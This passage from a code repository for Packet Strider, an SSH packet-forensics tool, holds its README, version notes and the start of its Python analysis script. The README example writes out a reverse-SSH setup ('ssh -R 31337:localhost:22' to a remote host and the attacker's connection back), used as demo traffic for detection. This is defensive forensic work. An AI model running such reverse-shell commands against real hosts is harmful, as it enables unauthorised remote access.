73 | center packet, default is 2
74 | -s STRIDE, --stride STRIDE
75 | Stride between sliding windows, default is 1
76 | ```
77 |
78 |
79 | ## Example
80 | The pcap "forward_reverse.pcap" is from a common TTP of a Reverse SSH shell, a favorite of red teams everywhere. Specifically the following commands were used, to highlight the capabilities of packet strider in a simple way:
81 | - Forward connection from victim
82 | - The command for the forward session was `ssh user@1.2.3.4 -R 31337:localhost:22` which binds local port 31337 ready for the reverse SSH connection back to the victim PC. This connection can be effected in many ways including manually, by an RCE, SSRF, or some form of persistence. For the purpose of this demo, it is a manual standard forward session.
83 | - This was NOT the first time the client has seen the server , we see this because the delta for related packets was very small , the server's key fingerprint was already in the client's known_hosts, so the user was not prompted to add it - which would increase the latency of packets.
84 | - Two consecutive failed password logins by a human, followed by a successful login with an 8+ character password.
85 | - `ls` is typed in forward session, in this sequence: **'l'** 'w' 'w' 'back-space' 'back-space' **'s'** and then enter. The total size of data over the wire that is transmitted (as the output of ls) is classified as infiltration, given that is inbound.
86 |
87 | - Now on the attacker's machine (the server), a reverse shell is initiated back to the victim:
88 | - `ssh victim@localhost -p 31337`. At this point, which is even *before authentication process begins*, packet strider has identified the Reverse session SSH initiation, at packet 72
89 | - Now the attacker has a reverse shell on the victim host. From here they can turn off history settings, and run whatever lateral movement or ransacking highinks they desire. The simple examples in this demo are initial user recon.
90 | - `last` is run in the form of keystrokes **'l' 'a' 's'** 'r' 'delete' **'t'** 'enter'
91 | - `who`is run in the form of **'w' 'h' 'o'** 'enter'
92 | - `exit`is run in the form of **'e' 'x' 'i' 't'**
93 | - Then finally with the Forward session the session is closed, just to demonstrate that the forward SSH feature detection still works.
94 | - `exit`
95 |
96 | Network traffic from this activity is saved to tcpdump.pcap and now it's time to run Packet Strider.
97 |
98 | `python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out`
99 |
100 | 
101 |
102 | This plot shows a timeline of key predictions (image has been annotated here)
103 | 
104 |
105 | This plot shows some window statistics, useful for a deep dive and experimenting with features.
106 | 
107 |
108 | This plot shows a simple histogram
109 | 
110 |
111 | ## Inspiration
112 | This project was done as a personal Proof of Concept, as a way for me to practice with some data science libraries in Python, it was heavily inspired by my Coursera studies in Machine Learning and Data Science, in particular the pandas library and the way in which Convolutional Neural Networks (CNN) "stride" through image pixel sets using sliding windows to detect certain features within.
113 |
114 | ## Tips
115 | Packet Strider does a vast amount of "striding" in full capacity mode. This can result in some substantial resource usage if the pcap is large, or more precisely if there are many packets in the pcap. Here are some speed up tips, these are particularly useful as an initial run for example just to see if there was reverse SSH activity predicted, and then adding functionality if you desire.
116 | - Ensure you are running with the latest patches of modules that do some heavy lifting, eg pyshark/tshark, pandas and matplotlib.
117 | - The -p --predict_plot option is the most intensive operation. Think about just running with the output to terminal, and then see if you'd like this plotted.
118 | - Use the -m --metaonly option. This only retrieves the high level metadata such as Protocol names and HASSH data. This can be useful to quickly determine if you are dealing with an interactive session using OpenSSH, or with a file transfer client like Cyberduck.
119 | - Pre filter the pcap to the ssh traffic.
120 | - Pre filter the pcap to the stream you want, which you may have learned by previously running with the speedy -m --metaonly option. You can examine only stream "NSTREAM" with the "-n NSTREAM" option, or you can pre filter with wireshark etc.
121 | - There may be times when you identify something interesting in a subset of a very large packet set. Here you can use the zoom feature to only examine and plot the packets in the region you are interested in. Use -z ZOOM, --zoom ZOOM for this. eg -z 100-500
122 | - Most times you will be interested in understanding keystroke activity, so while not using the -k option will save processing speed, it also means you won't get this valuable insight.
123 |
124 | ## TODO
125 | - More protocols!
126 | - Look at Multi threading and see where this can help processing speed.
127 | - Improve efficiency of script, particularly plotting times.
128 | - Improve the Pasting indicator
129 | - Improve the 'up/down' key indicator
130 | - Annotate plots with imagemagick or similar
131 | - Improve the reporting function, write out to disk.
132 | - The Reverse key indicator is conservative because of packet encapsulation can potentially report two keystrokes. This issue does not exist for forward keystrokes, as the packet order has been treated in case they come in out of order. Examine options here.
133 | - Port to golang for speed
134 | - Real time mode
135 | - Examine the effect of additional tunneling local ports over the forward connection.
136 |
137 | ## Disclaimer
138 | Use at your own risk. See License terms.
139 |
140 |
--------------------------------------------------------------------------------
/VERSION:
--------------------------------------------------------------------------------
1 | Version 0.21 (29 September 2019)
2 | - Added support for when key sharing via Agent Forwarding. eg https://developer.github.com/v3/guides/using-ssh-agent-forwarding/
3 |
4 | Version 0.2 (2 September 2019)
5 | - Added support for when -R is used in forward connection commandline
6 |
7 | Version 0.1
8 | - Initial Release
9 |
10 |
--------------------------------------------------------------------------------
/images/packet-strider-ssh tcpdump.pcap stream 0 - Data Movement.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/packet-strider-ssh tcpdump.pcap stream 0 - Data Movement.png
--------------------------------------------------------------------------------
/images/packet-strider-ssh tcpdump.pcap stream 0 - Keystrokes.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/packet-strider-ssh tcpdump.pcap stream 0 - Keystrokes.png
--------------------------------------------------------------------------------
/images/packet-strider-ssh tcpdump.pcap stream 0 - Packet Size Histogram.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/packet-strider-ssh tcpdump.pcap stream 0 - Packet Size Histogram.png
--------------------------------------------------------------------------------
/images/screen output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/screen output.png
--------------------------------------------------------------------------------
/images/screen output_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/screen output_2.png
--------------------------------------------------------------------------------
/images/strider_200w.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/strider_200w.png
--------------------------------------------------------------------------------
/images/strider_400w.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/strider_400w.png
--------------------------------------------------------------------------------
/images/strider_640w.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/strider_640w.png
--------------------------------------------------------------------------------
/images/strider_800w.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/strider_800w.png
--------------------------------------------------------------------------------
/images/strider_orig.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/benjeems/packetStrider/94bee15e3351cd1c057a77182d166cf61140a3fb/images/strider_orig.png
--------------------------------------------------------------------------------
/python/packetStrider-ssh.py:
--------------------------------------------------------------------------------
1 | import os
2 | import sys
3 | import shutil
4 | import argparse
5 | from hashlib import md5
6 | import matplotlib.pyplot as plt
7 | import pandas as pd
8 | import pyshark
9 | import time
10 |
11 | __author__ = 'Ben Reardon'
12 | __contact__ = 'benjeems@gmail.com @benreardon'
13 | __version__ = '0.21'
14 | __license__ = 'GNU General Public License v3.0'
15 |
16 |
17 |
18 | def parse_command_args():
19 | """Parse command line arguments"""
20 | desc = """packet-strider-ssh is a packet forensics tool for SSH.
21 | It creates a rich feature set from packet metadata such SSH Protocol message content, direction, size, latency and sequencing.
22 | It performs pattern matching on these features, using statistical analysis, and sliding windows to predict session initiation,
23 | keystrokes, human/script behaviour, password length, use of client certificates,
24 | context into the historic nature of client/server contact and exfil/infil data movement characteristics
25 | in both Forward and Reverse sessions"""
26 | parser = argparse.ArgumentParser(description=desc)
27 | helptxt = 'pcap file to analyze'
28 | parser.add_argument('-f', '--file', type=str, help=helptxt)
29 | helptxt = 'Perform analysis only on stream n'
30 | parser.add_argument('-n', '--nstream', default=-1, type=int, help=helptxt)
31 | helptxt = 'Display stream metadata only'
32 | parser.add_argument('-m', '--metaonly', help=helptxt, action='store_true')
33 | helptxt = 'Perform keystroke prediction'
34 | parser.add_argument('-k', '--keystrokes', help=helptxt, action='store_true')
35 | helptxt = 'Plot data movement and keystrokes'
36 | parser.add_argument('-p', '--predict_plot', help=helptxt, action='store_true')
37 | helptxt = 'Narrow down/zoom the analysis and plotting to only packets "x-y"'
38 | parser.add_argument('-z', '--zoom', help=helptxt, default='0', type=str)
39 | helptxt = 'Perform analysis on SSH direction : "forward", "reverse" OR "both"'
40 | parser.add_argument('-d', '--direction', help=helptxt, default='both', type=str)
41 | helptxt = 'Directory to output plots'
42 | parser.add_argument('-o', '--output_dir', type=str, help=helptxt)
43 | helptxt = 'Sliding window size, # of packets to side of window center packet, default is 2'
44 | parser.add_argument('-w', '--window', default=2, type=int, help=helptxt)
45 | helptxt = 'Stride between sliding windows, default is 1'
46 | parser.add_argument('-s', '--stride', default=1, type=int, help=helptxt)
47 |
48 | return parser.parse_args()
49 |
50 |
51 | def construct_matrix(pcap):
52 | """Returns a matrix containing packet of index, stream and size
53 | Each packet has a row in the matrix"""
54 | matrix = []
55 | index = 0
56 | for packet in pcap:
57 | # status = '\r... Carving basic features out of packet {0}'.format(index)
58 | # sys.stdout.write(status)
59 | # sys.stdout.flush()
60 | # get the packet length
61 | length = int(packet.tcp.len)
62 | # To save memory, let server packets have a negative size
63 | # This best effort port check is required if the session init for this stream is not in the pcap
64 | if int(packet.tcp.dstport) > int(packet.tcp.srcport):
65 | length = -length
66 | # Update the matrix with details
67 | matrix = matrix + [length]
68 | index = index + 1
69 | return matrix
70 |
71 |
72 | def find_meta_size(pcap, num_packets, stream):
73 | """Finds the sizes of "tell" packets which appear just after New keys packet
74 | These relate the size for reverse and forward keystrokes and login prompt"""
75 | meta_size = [stream, 0, 0, 0, 0, 0]
76 | for i in range(0, num_packets - 4):
77 | if i == 50:
78 | break
79 | if 'message_code' in dir(pcap[i].ssh):
80 | # look for 'New Keys' code packet 21
81 | if int(pcap[i].ssh.message_code) == 21 and 'message_code' not in dir(pcap[i + 1].ssh):
82 | # Session init size_newkeys_next is the packet straight after 'New Keys')
83 | size_newkeys_next = int(pcap[i + 1].tcp.len)
84 | if int(pcap[i + 1].tcp.dstport) > int(pcap[i + 1].tcp.srcport):
85 | size_newkeys_next = -size_newkeys_next
86 | # Session init size_newkeys_next2 (should be same size as size_newkeys_next)
87 | size_newkeys_next2 = int(pcap[i + 2].tcp.len)
88 | if int(pcap[i + 2].tcp.dstport) > int(pcap[i + 2].tcp.srcport):
89 | size_newkeys_next2 = -size_newkeys_next2
90 | # Session init size_newkeys_next3
91 | size_newkeys_next3 = int(pcap[i + 3].tcp.len)
92 | if int(pcap[i + 3].tcp.dstport) > int(pcap[i + 3].tcp.srcport):
93 | size_newkeys_next3 = -size_newkeys_next3
94 | # The Forward password prompt size
95 | size_login_prompt = int(pcap[i + 4].tcp.len)
96 | if int(pcap[i + 4].tcp.dstport) > int(pcap[i + 4].tcp.srcport):
97 | size_login_prompt = -size_login_prompt
98 | # Magical observation below
99 | reverse_keystroke_size = -(size_newkeys_next - 8 + 40)
100 |
101 | meta_size = [stream, reverse_keystroke_size,
102 | size_newkeys_next, size_newkeys_next2, size_newkeys_next3, size_login_prompt]
103 | break
104 | #debug
105 | #print(meta_size)
106 | return meta_size
107 |
108 |
109 | def find_meta_hassh(pcap, num_packets, stream):
110 | """Finds the hassh parameters of each stream"""
111 | protocol_client = 'not contained in pcap'
112 | protocol_server = 'not contained in pcap'
113 | hassh = 'not contained in pcap'
114 | hassh_server = 'not contained in pcap'
115 | hassh_client_found = hassh_server_found = 0
116 | sport = dport = sip = dip = 0
117 | # Step through each packet until we find the hassh components
118 | for i in range(0, num_packets - 1):
119 | # If not in the first 50 packets, break
120 | if i == 50 or (hassh_client_found == 1 and hassh_server_found == 1):
121 | break
122 | packet = pcap[i]
123 | sip = packet.ip.src
124 | sport = int(packet.tcp.srcport)
125 | dip = packet.ip.dst
126 | dport = int(packet.tcp.dstport)
127 |
128 | # Get the Protocol names for client and server
129 | if 'protocol' in packet.ssh.field_names:
130 | if sport > dport:
131 | protocol_client = packet.ssh.protocol
132 | elif dport > sport:
133 | protocol_server = packet.ssh.protocol
134 | # Find packets with Message code 20 (kexinit components)
135 | # but discard spurious packets
136 | if 'message_code' in dir(packet.ssh):
137 | if int(packet.ssh.message_code) == 20 and \
138 | 'spurious' not in str(packet.tcp.field_names):
139 | # If Client kexinit packet then build hassh
140 | if sport > dport:
141 | ckex = ceacts = cmacts = ccacts = ''
142 | if 'kex_algorithms' in packet.ssh.field_names:
143 | ckex = packet.ssh.kex_algorithms
144 | if 'encryption_algorithms_client_to_server' in packet.ssh.field_names:
145 | ceacts = packet.ssh.encryption_algorithms_client_to_server
146 | if 'mac_algorithms_client_to_server' in packet.ssh.field_names:
147 | cmacts = packet.ssh.mac_algorithms_client_to_server
148 | if 'compression_algorithms_client_to_server' in packet.ssh.field_names:
149 | ccacts = packet.ssh.compression_algorithms_client_to_server
150 | hassh_algos = ';'.join(
151 | [ckex, ceacts, cmacts, ccacts])
152 | hassh = md5(
153 | hassh_algos.encode()).hexdigest()
154 | hassh_client_found = 1
155 |
156 | # If Server kexinit packet then build hassh_server
157 | if dport > sport:
158 | skex = seastc = smastc = scastc = ''
159 | if 'kex_algorithms' in packet.ssh.field_names:
160 | skex = packet.ssh.kex_algorithms
161 | if 'encryption_algorithms_server_to_client' in packet.ssh.field_names:
162 | seastc = packet.ssh.encryption_algorithms_server_to_client
163 | if 'mac_algorithms_server_to_client' in packet.ssh.field_names:
164 | smastc = packet.ssh.mac_algorithms_server_to_client
165 | if 'compression_algorithms_server_to_client' in packet.ssh.field_names:
166 | scastc = packet.ssh.compression_algorithms_server_to_client
167 | hassh_server_algos = ';'.join(
168 | [skex, seastc, smastc, scastc])
169 | hassh_server = md5(
170 | hassh_server_algos.encode()).hexdigest()
171 | hassh_server_found = 1
172 |
173 | # sometimes server and client kex packet arrive out of order, so we must fix this.
174 | if sport < dport:
175 | # Store as temp variable
176 | sip_temp = sip
177 | sport_temp = sport
178 | dip_temp = dip
179 | dport_temp = dport
180 | # Assign the correct values
181 | dip = sip_temp
182 | sip = dip_temp
183 | sport = dport_temp
184 | dport = sport_temp
185 |
186 | meta_hassh = [stream, protocol_client, hassh,
187 | protocol_server, hassh_server, sip, sport, dip, dport]
188 |
189 | return meta_hassh
190 |
191 |
192 | def analyze(matrix, meta_size, pcap, window, stride, do_direction, do_windowing_and_plots, keystrokes, meta_hassh):
193 |
194 | # Initialialize with the first packet of the pcap
195 | # TODO this assumes that the pcap contains the entire init.
196 | results = [['packet0', 'packet0 ', 0, 0, int(pcap[0].tcp.len), 1, 0]]
197 | results_f_keystroke = []
198 |
199 | window_matrix = []
200 | stream = meta_size[0]
201 | reverse_init_start = results_r_logins = []
202 |
203 | # Order the keystroke packets in this stream so they appear in realtime order
204 | print('\n ... Ordering the keystroke packets')
205 | matrix = order_keystrokes(matrix, meta_size)
206 |
207 | # only do the rest of the analysis if we have metadata.
208 | if meta_size[1] != 0:
209 | if do_direction == 'forward':
210 | print(' ... Scanning for Reverse Option being present in forward session init')
211 | results_f_R_flag_used = scan_for_reverse_session_R_option(pcap, matrix, meta_size)
212 | print(' ... Scanning for Forward login attempts')
213 | results_f_logins, fwd_logged_in_at_packet = scan_for_forward_login_attempts(matrix, meta_size, pcap)
214 | print(' ... Scanning for Forward key accepts')
215 | results_f_key_accepts = scan_for_forward_host_key_accepts(pcap, fwd_logged_in_at_packet)
216 | print(' ... Scanning for Forward login prompts')
217 | results_f_login_prompts = scan_for_forward_login_prompts(matrix, meta_size, pcap, fwd_logged_in_at_packet)
218 | print(' ... Scanning for Agent forwarding')
219 | results_f_agentForwarding = scan_for_forward_AgentForwarding(matrix, pcap, meta_hassh)
220 | # print('fwd_logged_in_at_packet={}'.format(fwd_logged_in_at_packet))
221 | if keystrokes and fwd_logged_in_at_packet > 0:
222 | print(' ... Scanning for Forward keystrokes and enters')
223 | results_f_keystroke = scan_for_forward_keystrokes(matrix, meta_size, pcap, fwd_logged_in_at_packet)
224 | results = (results + results_f_R_flag_used + results_f_key_accepts + results_f_login_prompts +
225 | results_f_logins + results_f_agentForwarding + results_f_keystroke)
226 | else:
227 | results = results + results_f_R_flag_used + results_f_key_accepts + results_f_login_prompts + results_f_logins + results_f_agentForwarding
228 |
229 | elif do_direction == 'reverse':
230 | print(' ... Scanning for Reverse Option being present in forward session init')
231 | results_f_R_flag_used = scan_for_reverse_session_R_option(pcap, matrix, meta_size)
232 | print(' ... Scanning for Reverse Session initiation')
233 | results_r_init, reverse_init_start = scan_for_reverse_session_initiation(
234 | matrix, meta_size, pcap)
235 | if reverse_init_start != 0:
236 | print(' ... Scanning for Reverse Session logins')
237 | results_r_logins = scan_for_reverse_login_attempts(matrix, meta_size, pcap, reverse_init_start)
238 |
239 | # TODO only look for keystrokes after reverse_init_start, or do we support multi reverse sessions?
240 | if keystrokes:
241 | print(' ... Scanning for Reverse keystrokes and enters')
242 | results_r_keystroke = scan_for_reverse_keystrokes(matrix, meta_size, pcap, reverse_init_start)
243 | results = results + results_f_R_flag_used + results_r_keystroke + results_r_init + results_r_logins
244 | else:
245 | results = results + results_f_R_flag_used + results_r_init + results_r_logins
246 | elif do_direction == 'both':
247 | print(' ... Scanning for Reverse Option being present in forward session init')
248 | results_f_R_flag_used = scan_for_reverse_session_R_option(pcap, matrix, meta_size)
249 | print(' ... Scanning for Forward login attempts')
250 | results_f_logins, fwd_logged_in_at_packet = scan_for_forward_login_attempts(matrix, meta_size, pcap)
251 | print(' ... Scanning for Forward key accepts')
252 | results_f_key_accepts = scan_for_forward_host_key_accepts(pcap, fwd_logged_in_at_packet)
253 | print(' ... Scanning for Forward login prompts')
254 | results_f_login_prompts = scan_for_forward_login_prompts(matrix, meta_size, pcap, fwd_logged_in_at_packet)
255 | print(' ... Scanning for Agent forwarding')
256 | results_f_agentForwarding = scan_for_forward_AgentForwarding(matrix, pcap, meta_hassh)
257 |
258 | if keystrokes and fwd_logged_in_at_packet > 0:
259 | print(' ... Scanning for Forward keystrokes and enters')
260 | results_f_keystroke = scan_for_forward_keystrokes(matrix, meta_size, pcap, fwd_logged_in_at_packet)
261 | print(' ... Scanning for Reverse Session initiation')
262 | results_r_init, reverse_init_start = scan_for_reverse_session_initiation(
263 | matrix, meta_size, pcap)
264 | if reverse_init_start != 0:
265 | print(' ... Scanning for Reverse Session logins')
266 | results_r_logins = scan_for_reverse_login_attempts(matrix, meta_size, pcap, reverse_init_start)
267 | if keystrokes and fwd_logged_in_at_packet > 0:
268 | print(' ... Scanning for Reverse keystrokes and enters')
269 | results_r_keystroke = scan_for_reverse_keystrokes(matrix, meta_size, pcap, reverse_init_start)
270 | results = (results + results_f_R_flag_used + results_f_key_accepts + results_f_login_prompts + results_f_logins
271 | + results_f_agentForwarding + results_f_keystroke + results_r_init + results_r_logins + results_r_keystroke)
272 | else:
273 | results = (results + results_f_R_flag_used + results_f_key_accepts + results_f_login_prompts + results_f_logins +
274 | results_f_agentForwarding + results_r_init + results_r_logins)
275 | if do_windowing_and_plots:
276 | window_matrix = construct_window_matrix(pcap, matrix, stream, window, stride, meta_size, reverse_init_start,
277 | results)
278 |
279 | results = sorted(results, key=lambda x: x[2])
280 | # window_matrix = sorted(window_matrix, key=lambda x: x[1])
281 | results = enrich_results_time_delta(results)
282 | results = enrich_results_notes_field(results)
283 | return results, window_matrix, matrix
284 |
285 |
286 | def enrich_results_notes_field(results):
287 | """ Enriches the results with notes field"""
288 | result_enriched = []
289 | fwd_login_time = 0
290 | for result in results:
291 | note_field = ''
292 | delta = result[7]
293 | direction = result[0]
294 | indicator = result[1]
295 | packet_size = (result[4])
296 | if 'forward' in direction and 'login success' in indicator:
297 | fwd_login_time=result[6]
298 |
299 | # If the size of the login failure or login success is > 350 (372 in testing) then likely it is certificate auth
300 | if 'forward' in direction and ('login success' in indicator or 'login failure' in indicator):
301 | if packet_size > 350:
302 | if delta < .100:
303 | note_field = 'Delta suggests Certificate Auth, pwd to cert null or non interactive'
304 | else:
305 | note_field = 'Delta suggests Certificate Auth, pwd to cert entered interactively'
306 |
307 | else:
308 | if delta < .100:
309 | if 0 < packet_size <= 84:
310 | note_field = '< 8 char Password, NOT entered interactively by human'
311 | elif 84 < packet_size <= 148:
312 | note_field = '8+ char Password, NOT entered interactively by human'
313 |
314 | else:
315 | if 0 < packet_size <= 84:
316 | note_field = '< 8 char Password, entered interactively by human'
317 | elif 84 < packet_size <= 148:
318 | note_field = '8+char Password, entered interactively by human'
319 |
320 | # If the time delta between key offered and key accepted in small (say 50ms) likely the server is
321 | # in the known_hosts already, and the user was not prompted interactively to accept the server's key.
322 | # another explanation is that host checking is being ignored.
323 | if 'forward' in direction and 'key accepted' in indicator:
324 | if delta < .050:
325 | note_field = 'Delta suggests hostkey was already in known_hosts or ignored'
326 | else:
327 | note_field = 'Delta suggests hostkey was NOT in known_hosts, user manually accepted it'
328 |
329 | if 'reverse' in direction and ('login success' in indicator or 'login failure' in indicator):
330 | if delta < 1:
331 | note_field = 'Delta suggests creds NOT entered interactively by human'
332 | else:
333 | note_field = 'Delta suggests creds were entered interactively by human'
334 | if 'reverse' in direction and ('-R ' in indicator):
335 | note_field = '!! -R option used by forward session. This enables reverse SSH'
336 |
337 | if 'reverse' in direction and ('session init' in indicator):
338 | reverse_setup_delta = result[6] - fwd_login_time
339 | if reverse_setup_delta < 2:
340 | note_field = "Delta (<2s) suggests this may be automated (eg implant/RCE/SSRF)"
341 | else:
342 | note_field = "Delta (>2s) suggests this may be manual, by human"
343 | if 'forward' in direction and 'agent fwding' in indicator:
344 | note_field = "!! -A option used. Client private key sharing via SSH Agent Forwarding"
345 |
346 | enriched_row = [result[0], result[1], result[2],
347 | result[3], result[4], result[5],
348 | result[6], result[7], note_field]
349 | result_enriched.append(enriched_row)
350 |
351 |
352 | return result_enriched
353 |
354 |
355 | def enrich_results_time_delta(results):
356 | """ Calculates and enriches time deltas between events"""
357 | result_enriched = []
358 |
359 | result_count = 0
360 | for result in results:
361 | if result_count == 0:
362 | delta_this_event = 0
363 | else:
364 | time_this_event = result[6]
365 | time_last_event = results[result_count - 1][6]
366 | delta_this_event = time_this_event - time_last_event
367 | enriched_row = [result[0], result[1], result[2],
368 | result[3], result[4], result[5],
369 | result[6], delta_this_event]
370 | result_enriched.append(enriched_row)
371 | result_count = result_count + 1
372 |
373 | return result_enriched
374 |
375 |
376 | def order_keystrokes(matrix_unordered, meta_size):
377 | """ Attempts to put forward keystroke packets in order of occurrence in real world"""
378 | forward_keystroke_size = meta_size[2] - 8
379 | ordered = []
380 | keystone = 0
381 | looking_for_match = 1
382 | while len(matrix_unordered) > 1:
383 | size_keystone = matrix_unordered[keystone]
384 | # If non keystroke packet, then just add to ordered matrix
385 | if size_keystone != forward_keystroke_size:
386 | ordered = ordered + [matrix_unordered[keystone]]
387 | matrix_unordered.remove(matrix_unordered[keystone])
388 | looking_for_match = 0
389 |
390 | # Must be the start of a keystroke block
391 | else:
392 | # Add the keystone to the ordered list
393 | ordered = ordered + [matrix_unordered[keystone]]
394 | matrix_unordered.remove(matrix_unordered[keystone])
395 | looking_for_match = 1
396 |
397 | if looking_for_match == 0:
398 | ordered = ordered + [matrix_unordered[keystone]]
399 | # Then look ahead for matches
400 | else:
401 | mark = keystone
402 | count = 0
403 | while looking_for_match == 1 and mark < len(matrix_unordered):
404 | size_mark = matrix_unordered[mark]
405 | # Check if this packet is the servers return packet, but only look ahead 10 packets
406 | if count == 10:
407 | ordered = ordered + [matrix_unordered[mark]]
408 | matrix_unordered.remove(matrix_unordered[mark])
409 | looking_for_match = 0
410 | break
411 |
412 | if size_mark == -forward_keystroke_size:
413 | ordered = ordered + [matrix_unordered[mark]]
414 | matrix_unordered.remove(matrix_unordered[mark])
415 | looking_for_match = 0
416 | elif size_mark <= -(forward_keystroke_size + 8):
417 | ordered = ordered + [matrix_unordered[mark]]
418 | matrix_unordered.remove(matrix_unordered[mark])
419 | looking_for_match = 0
420 | else:
421 | mark = mark + 1
422 | count = count + 1
423 |
424 | # Add any leftover packets onto the end of the ordered list
425 | ordered = ordered + matrix_unordered
426 |
427 | return ordered
428 |
429 |
430 | def scan_for_forward_host_key_accepts(pcap, fwd_logged_in_at_packet):
431 | """Looks for the client's acceptance of the servers SSH host key
432 | which is when the public key is in known_hosts"""
433 |
434 | results_f_key_accepts = []
435 | if fwd_logged_in_at_packet == 0:
436 | stop_at = 100
437 | else:
438 | stop_at = fwd_logged_in_at_packet
439 |
440 | timestamp_first = float(pcap[0].sniff_timestamp)
441 | for i in range(0, len(pcap) - 4):
442 | if i == stop_at:
443 | break
444 | if 'message_code' in dir(pcap[i].ssh):
445 | # look for 'New Keys' code packet 21, this indicates acceptance of servers key
446 | if int(pcap[i].ssh.message_code) == 21 and 'message_code' not in dir(pcap[i + 1].ssh):
447 | # The packet prior to this is the server sending it's key fingerprint
448 | relative_timestamp = float(pcap[i - 1].sniff_timestamp) - timestamp_first
449 | results_f_key_accepts = [['forward', 'key offered ',
450 | i-1, i-1,
451 | int(pcap[i - 1].tcp.len), 1, relative_timestamp]]
452 |
453 | # This packet occurs only once the client has accepted entry of key into known_hosts
454 | relative_timestamp = float(pcap[i].sniff_timestamp) - timestamp_first
455 | results_f_key_accepts = results_f_key_accepts + [['forward', 'key accepted ',
456 | i, i, int(pcap[i].tcp.len),
457 | 1, relative_timestamp]]
458 | break
459 | return results_f_key_accepts
460 |
461 |
462 | def scan_for_forward_login_prompts(matrix, meta_size, pcap, fwd_logged_in_at_packet):
463 | """Looks for the server's login prompt"""
464 |
465 | results_f_login_prompts = []
466 | size_login_prompt = meta_size[5]
467 | timestamp_first = float(pcap[0].sniff_timestamp)
468 | if fwd_logged_in_at_packet == 0:
469 | stop_at = 300
470 |
471 | else:
472 | stop_at = fwd_logged_in_at_packet + 2
473 | for i in range(0, min(len(matrix), stop_at)):
474 | if matrix[i] == size_login_prompt:
475 | relative_timestamp = (float(pcap[i].sniff_timestamp) - timestamp_first)
476 | results_f_login_prompts = results_f_login_prompts + [['forward', 'login prompt ',
477 | i, i, int(pcap[i].tcp.len),
478 | 1, relative_timestamp]]
479 |
480 | return results_f_login_prompts
481 |
482 |
483 | def scan_for_forward_AgentForwarding(matrix, pcap, meta_hassh):
484 | """Looks for packet sizing suggesting Agent forwarding has been configured"""
485 | timestamp_first = float(pcap[0].sniff_timestamp)
486 | results_f_agentForwarding = []
487 | # Strike represents a counter, the game starts at srike -1 and a match is made when strike = 5
488 | strike = -1
489 | # The tell-tale client packet normally lies around packet 18 to 22, so stop at (say) packet 40
490 | stop_at = 40
491 | for i in range(0, min(stop_at, len(pcap) - 1)):
492 | # Keep track of any strikes made on this packet.
493 | this_ball = 1
494 | # Only start looking after the new keys packet
495 | if 'message_code' in dir(pcap[i].ssh):
496 | # look for 'New Keys' code packet 21
497 | if int(pcap[i].ssh.message_code) == 21 and 'message_code' not in dir(pcap[i + 1].ssh):
498 | # Batter up
499 | strike = 0
500 | # Tell tale packet is always surrounded by 2 Server packets before and 2 Server packets after
501 | # Use these 4 server packets to ensure no FPs
502 | # Server packet
503 | if strike == 0 and this_ball:
504 | if matrix[i] < 0:
505 | strike = 1
506 | this_ball = 0
507 | else:
508 | # Reset the strike counter afresh if a mismatch is made.
509 | strike = 0
510 | # Server packet
511 | if strike == 1 and this_ball:
512 | if matrix[i] < 0:
513 | strike = 2
514 | this_ball = 0
515 | else:
516 | strike = 0
517 | # Now look for the tell-tale packet found in testing.
518 | # testing shows (with openssh) client packet < 500 == no forwarding, > 500 == forwarding.
519 | # testing shows (with Putty) client packet 176 (< 200) == no forwarding, 256 (> 200) == forwarding.
520 | # TODO dig deeper on these size observations, found out what this packet represents exactly and tune further
521 | if strike == 2 and this_ball:
522 | if 'putty' in meta_hassh[1].lower():
523 | if 200 < matrix[i] < 650:
524 | strike = 3
525 | this_ball = 0
526 | else:
527 | strike = 0
528 | elif 500 < matrix[i] < 650:
529 | strike = 3
530 | this_ball = 0
531 | else:
532 | strike = 0
533 | if strike == 3 and this_ball:
534 | # Server packet
535 | if matrix[i] < 0:
536 | strike = 4
537 | this_ball = 0
538 | else:
539 | strike = 0
540 | # Server packet
541 | if strike == 4 and this_ball:
542 | if matrix[i] < 0:
543 | # Steeeeee-rike, you're outta here
544 | strike = 5
545 | relative_timestamp = (float(pcap[i - 2].sniff_timestamp) - timestamp_first)
546 | results_f_agentForwarding = results_f_agentForwarding + [['forward', 'agent fwding ',
547 | i, i, int(pcap[i - 2].tcp.len),
548 | 1, relative_timestamp]]
549 | else:
550 | strike = 0
551 | return results_f_agentForwarding
552 |
553 | def scan_for_forward_login_attempts(matrix, meta_size, pcap):
554 | """Looks for successful and unsuccessful forward SSH logins"""
555 | fwd_logged_in_at_packet = 0
556 | results_f_logins = []
557 | size_login_prompt = meta_size[5]
558 | timestamp_first = float(pcap[0].sniff_timestamp)
559 | # Start at packet 8 , to make sure we are out of negotiation phase
560 | # Only check the first 300 packets for login attempts
561 |
562 | for i in range(8, (min(len(matrix) - 2, 300))):
563 |
564 | if matrix[i] == size_login_prompt and \
565 | matrix[i + 1] > 0 and \
566 | matrix[i + 2] == size_login_prompt:
567 | relative_timestamp = float(pcap[i + 1].sniff_timestamp) - timestamp_first
568 | results_f_logins = results_f_logins + [['forward', 'login failure',
569 | i, i + 1,
570 | abs(matrix[i + 1]), 2, relative_timestamp]]
571 |
572 | if matrix[i] == size_login_prompt and \
573 | matrix[i + 1] > 0 and \
574 | matrix[i + 2] < 0 and \
575 | matrix[i + 2] != size_login_prompt:
